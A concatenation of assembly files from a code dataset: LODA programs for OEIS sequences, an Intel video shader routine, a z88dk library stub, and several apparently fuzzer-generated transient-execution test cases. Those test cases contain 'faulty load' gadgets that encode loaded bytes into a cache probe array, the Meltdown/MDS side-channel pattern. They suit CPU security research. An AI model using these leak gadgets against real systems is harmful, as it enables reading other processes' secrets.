TheStack | b06396ef9092af65024c4caaed2a60ba80bc21ad | Assemblycode:Assembly | {"size": 734, "ext": "asm", "max_stars_repo_path": "oeis/294/A294956.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/294/A294956.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/294/A294956.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 34.9523809524, "max_line_length": 492, "alphanum_fraction": 0.7997275204} | ; A294956: a(n) = Sum_{d|n} d^(d + n/d).
; Submitted by Christian Krause
; 1,9,82,1041,15626,280212,5764802,134221889,3486785131,100000078254,3138428376722,106993207077516,3937376385699290,155568095598166344,6568408355713287812,295147905180426634241,14063084452067724991010,708235345355369067516669,37589973457545958193355602,2097152000000001000002219366,122694327386105632949286147140,7511413302012830297248940070972,480250763996501976790165756943042,32009658644406818988061882464442364,2220446049250313080847263336191406251,160059109085386090080764717391419421702
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
mov $4,$3
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
add $4,$3
pow $3,$4
add $1,$3
lpe
add $1,1
mov $0,$1
|
||||
TheStack | 3a999957b74e9c0ba1f2c0ca003564f045a36f08 | Assemblycode:Assembly | {"size": 1770, "ext": "asm", "max_stars_repo_path": "src/shaders/h264/ildb/saveNV12_16x4.asm", "max_stars_repo_name": "tizenorg/platform.upstream.libva-intel-driver", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/shaders/h264/ildb/saveNV12_16x4.asm", "max_issues_repo_name": "tizenorg/platform.upstream.libva-intel-driver", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/shaders/h264/ildb/saveNV12_16x4.asm", "max_forks_repo_name": "tizenorg/platform.upstream.libva-intel-driver", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 34.7058823529, "max_line_length": 103, "alphanum_fraction": 0.5858757062} | /*
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
*/
// Module name: saveNV12_16x4.asm
//
// Save a NV12 16x4 block
//
//----------------------------------------------------------------
// Symbols need to be defined before including this module
//
// Source region in :ud
// SRC_YD: SRC_YD Base=rxx ElementSize=4 SrcRegion=REGION(8,1) Type=ud // 2 GRFs
// SRC_UD: SRC_UD Base=rxx ElementSize=4 SrcRegion=REGION(8,1) Type=ud // 1 GRF
//
// Binding table index:
// BI_DEST_Y: Binding table index of Y surface
// BI_DEST_UV: Binding table index of UV surface (NV12)
//
//----------------------------------------------------------------
#if defined(_DEBUG)
mov (1) EntrySignatureC:w 0xDDD5:w
#endif
mov (2) MSGSRC.0<1>:ud ORIX_TOP<2;2,1>:w // Block origin
mov (1) MSGSRC.2<1>:ud 0x0003000F:ud // Block width and height (16x4)
// Pack Y
mov (16) MSGPAYLOADD(0)<1> SRC_YD(0) // Compressed inst
send (8) NULLREG MSGHDR MSGSRC<8;8,1>:ud DAPWRITE MSG_LEN(2)+DWBWMSGDSC+BI_DEST_Y // Write 2 GRFs
asr (1) MSGSRC.1:ud MSGSRC.1:ud 1:w // NV12 U+V block origin y = half of Y comp
mov (1) MSGSRC.2<1>:ud 0x0001000F:ud // NV12 U+V block width and height (16x2)
// Pack U and V
// mov (16) MSGPAYLOADB(0,0)<2> SRC_UB(0,0)
// mov (16) MSGPAYLOADB(0,1)<2> SRC_VB(0,0)
mov (8) MSGPAYLOADD(0,0)<1> SRC_UD(0)
send (8) NULLREG MSGHDR MSGSRC<8;8,1>:ud DAPWRITE MSG_LEN(1)+DWBWMSGDSC+BI_DEST_UV // Write 1 GRF
// End of saveNV12_16x4.asm
|
||||
TheStack | 1a30b14139fe1811ba7d85bbfc42183be19a7dba | Assemblycode:Assembly | {"size": 3212, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_1_1483.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_1_1483.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_1_1483.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 19.950310559, "max_line_length": 150, "alphanum_fraction": 0.652864259} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x3e75, %r9
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm4
movups %xmm4, (%r9)
nop
nop
nop
lfence
lea addresses_UC_ht+0x2c95, %rdi
and $20257, %rcx
movw $0x6162, (%rdi)
nop
nop
nop
nop
add $16610, %rdx
lea addresses_WT_ht+0x1e65f, %rsi
lea addresses_D_ht+0xa105, %rdi
cmp %r14, %r14
mov $17, %rcx
rep movsb
and %rdi, %rdi
lea addresses_D_ht+0x1bd05, %rsi
lea addresses_normal_ht+0x13705, %rdi
nop
nop
nop
nop
sub $5130, %r15
mov $39, %rcx
rep movsw
nop
nop
nop
add $19321, %r11
lea addresses_normal_ht+0x1ce8d, %r14
nop
xor %rsi, %rsi
movw $0x6162, (%r14)
nop
nop
nop
nop
nop
sub $6583, %rcx
lea addresses_WC_ht+0x3105, %r11
nop
nop
and %rcx, %rcx
movl $0x61626364, (%r11)
nop
nop
nop
nop
nop
inc %r11
lea addresses_normal_ht+0x15105, %rdi
nop
xor $49251, %rcx
mov (%rdi), %r15d
nop
nop
nop
nop
nop
sub %r14, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
lea addresses_WC+0x9105, %rax
and $10566, %r13
movl $0x51525354, (%rax)
dec %rbx
// REPMOV
mov $0x613e4e0000000105, %rsi
lea addresses_normal+0x1da6f, %rdi
add $60822, %r13
mov $92, %rcx
rep movsb
inc %r13
// Faulty Load
mov $0x613e4e0000000105, %rdi
nop
nop
nop
nop
nop
add $62250, %rbx
movups (%rdi), %xmm0
vpextrq $1, %xmm0, %r12
lea oracles, %rsi
and $0xff, %r12
shlq $12, %r12
mov (%rsi,%r12,1), %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_NC', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': False}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': True, 'same': True, 'congruent': 4}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'00': 1}
00
*/
|
||||
TheStack | 72b101b9cb93771a03e97c2eb7c78f1e60a591e0 | Assemblycode:Assembly | {"size": 259, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_align_to_callee.asm", "max_stars_repo_name": "meesokim/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_align_to_callee.asm", "max_issues_repo_name": "meesokim/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/_DEVELOPMENT/alloc/obstack/c/sdcc_iy/obstack_align_to_callee.asm", "max_forks_repo_name": "meesokim/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 16.1875, "max_line_length": 67, "alphanum_fraction": 0.7760617761} |
; int obstack_align_to_callee(struct obstack *ob, size_t alignment)
SECTION code_alloc_obstack
PUBLIC _obstack_align_to_callee
_obstack_align_to_callee:
pop af
pop hl
pop bc
push af
INCLUDE "alloc/obstack/z80/asm_obstack_align_to.asm"
|
||||
TheStack | 6b669abf459d4501fc9c5f6659be7f93e500f314 | Assemblycode:Assembly | {"size": 481, "ext": "asm", "max_stars_repo_path": "programs/oeis/168/A168153.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/168/A168153.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/168/A168153.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 53.4444444444, "max_line_length": 396, "alphanum_fraction": 0.841995842} | ; A168153: a(n) = n^2*(n^9 + 1)/2.
; 0,1,1026,88578,2097160,24414075,181398546,988663396,4294967328,15690529845,50000000050,142655835366,371504185416,896080197103,2024782584930,4324877929800,8796093022336,17135948153961,32134205039778,58245129449290,102400000000200,175138750271331,292159150705906,476404878957228,760840571584800,1192092895508125,1835172243494226,2779530283278126,4146754733736328,6100254882853335,8857350000000450
mov $1,$0
pow $0,11
pow $1,2
add $1,$0
div $1,2
|
||||
TheStack | c130e8f720445ab407501912d540b3632731a4d2 | Assemblycode:Assembly | {"size": 1904, "ext": "asm", "max_stars_repo_path": "programs/oeis/138/A138179.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/138/A138179.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/138/A138179.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 173.0909090909, "max_line_length": 1775, "alphanum_fraction": 0.8424369748} | ; A138179: Wiener index of the prism graph Y_n on 2n nodes.
; 1,8,21,48,85,144,217,320,441,600,781,1008,1261,1568,1905,2304,2737,3240,3781,4400,5061,5808,6601,7488,8425,9464,10557,11760,13021,14400,15841,17408,19041,20808,22645,24624,26677,28880,31161,33600,36121,38808,41581,44528,47565,50784,54097,57600,61201,65000,68901,73008,77221,81648,86185,90944,95817,100920,106141,111600,117181,123008,128961,135168,141505,148104,154837,161840,168981,176400,183961,191808,199801,208088,216525,225264,234157,243360,252721,262400,272241,282408,292741,303408,314245,325424,336777,348480,360361,372600,385021,397808,410781,424128,437665,451584,465697,480200,494901,510000,525301,541008,556921,573248,589785,606744,623917,641520,659341,677600,696081,715008,734161,753768,773605,793904,814437,835440,856681,878400,900361,922808,945501,968688,992125,1016064,1040257,1064960,1089921,1115400,1141141,1167408,1193941,1221008,1248345,1276224,1304377,1333080,1362061,1391600,1421421,1451808,1482481,1513728,1545265,1577384,1609797,1642800,1676101,1710000,1744201,1779008,1814121,1849848,1885885,1922544,1959517,1997120,2035041,2073600,2112481,2152008,2191861,2232368,2273205,2314704,2356537,2399040,2441881,2485400,2529261,2573808,2618701,2664288,2710225,2756864,2803857,2851560,2899621,2948400,2997541,3047408,3097641,3148608,3199945,3252024,3304477,3357680,3411261,3465600,3520321,3575808,3631681,3688328,3745365,3803184,3861397,3920400,3979801,4040000,4100601,4162008,4223821,4286448,4349485,4413344,4477617,4542720,4608241,4674600,4741381,4809008,4877061,4945968,5015305,5085504,5156137,5227640,5299581,5372400,5445661,5519808,5594401,5669888,5745825,5822664,5899957,5978160,6056821,6136400,6216441,6297408,6378841,6461208,6544045,6627824,6712077,6797280,6882961,6969600,7056721,7144808,7233381,7322928,7412965,7503984,7595497,7688000,7781001,7875000
add $0,1
mov $1,$0
pow $0,2
div $0,2
mov $2,$1
add $2,$0
mul $1,$2
|
||||
TheStack | debcc07e539e11e5fa10bfcf37959a3fb065cd41 | Assemblycode:Assembly | {"size": 5944, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_2008.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_2008.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_2008.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 37.8598726115, "max_line_length": 2999, "alphanum_fraction": 0.6559555855} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x619, %r14
nop
nop
nop
and %rdi, %rdi
movw $0x6162, (%r14)
nop
nop
nop
nop
nop
add $17847, %rbp
lea addresses_WT_ht+0x1c8d9, %r11
nop
nop
nop
nop
add $30419, %rdi
mov $0x6162636465666768, %r8
movq %r8, %xmm6
movups %xmm6, (%r11)
nop
nop
nop
nop
nop
add $40926, %r11
lea addresses_normal_ht+0xca39, %rbp
nop
nop
sub $18933, %rdx
movb (%rbp), %r11b
add %r10, %r10
lea addresses_A_ht+0xd5d9, %rsi
lea addresses_A_ht+0x3769, %rdi
nop
add $34702, %rbp
mov $68, %rcx
rep movsq
dec %r14
lea addresses_A_ht+0x8ec5, %r14
clflush (%r14)
nop
dec %rdi
movb (%r14), %dl
nop
nop
nop
nop
add %r8, %r8
lea addresses_WT_ht+0x3cd9, %r14
nop
nop
nop
nop
nop
sub $15950, %rbp
movb (%r14), %r11b
nop
nop
nop
nop
nop
sub %r14, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rax
push %rbp
push %rbx
push %rdi
push %rsi
// Load
lea addresses_UC+0x12819, %rsi
nop
nop
nop
cmp %rdi, %rdi
movups (%rsi), %xmm0
vpextrq $1, %xmm0, %rbx
nop
nop
xor $8695, %rbp
// Store
lea addresses_D+0x130f9, %rbp
nop
nop
cmp $520, %r12
movw $0x5152, (%rbp)
nop
sub $49064, %rbx
// Faulty Load
lea addresses_RW+0x90d9, %rbx
nop
nop
and $28241, %r12
vmovntdqa (%rbx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rsi
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'00': 2, '45': 21827}
45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45
*/
|
||||
TheStack | 725887385d52b275a48990a802aba6d67cbb32d9 | Assemblycode:Assembly | {"size": 707, "ext": "asm", "max_stars_repo_path": "oeis/167/A167316.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/167/A167316.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/167/A167316.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 26.1851851852, "max_line_length": 372, "alphanum_fraction": 0.6025459689} | ; A167316: Totally multiplicative sequence with a(p) = 6*(p-3) for prime p.
; Submitted by Jon Maiga
; 1,-6,0,36,12,0,24,-216,0,-72,48,0,60,-144,0,1296,84,0,96,432,0,-288,120,0,144,-360,0,864,156,0,168,-7776,0,-504,288,0,204,-576,0,-2592,228,0,240,1728,0,-720,264,0,576,-864,0,2160,300,0,576,-5184,0,-936,336,0,348,-1008,0,46656,720,0,384,3024,0,-1728,408,0,420,-1224,0,3456,1152,0,456,15552,0,-1368,480,0,1008,-1440,0,-10368,516,0,1440,4320,0,-1584,1152,0,564,-3456,0,5184
add $0,1
mov $1,1
mov $2,2
mov $4,1
lpb $0
mul $1,$4
mov $3,$0
lpb $3
mov $4,$0
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
div $0,$2
mul $1,6
mov $4,$2
sub $4,3
lpe
mov $0,$1
div $0,6
|
||||
TheStack | 0105e12cdaebf4eb952e9cd96912392c56da8a7c | Assemblycode:Assembly | {"size": 4600, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_845.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_845.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_845.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 50.5494505495, "max_line_length": 2999, "alphanum_fraction": 0.6606521739} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x8fa3, %r12
add $249, %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
movups %xmm3, (%r12)
nop
nop
nop
nop
cmp $32675, %r8
lea addresses_D_ht+0x163a3, %rdx
sub %rdi, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm2
movups %xmm2, (%rdx)
nop
nop
and $43362, %r8
lea addresses_WT_ht+0x5cbf, %r12
nop
nop
nop
nop
cmp %r10, %r10
mov (%r12), %esi
nop
nop
nop
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %rax
push %rbp
push %rdi
push %rsi
// Faulty Load
lea addresses_D+0x7fa3, %rdi
nop
nop
nop
add $8042, %r11
movb (%rdi), %al
lea oracles, %r11
and $0xff, %rax
shlq $12, %rax
mov (%r11,%rax,1), %rax
pop %rsi
pop %rdi
pop %rbp
pop %rax
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'36': 21829}
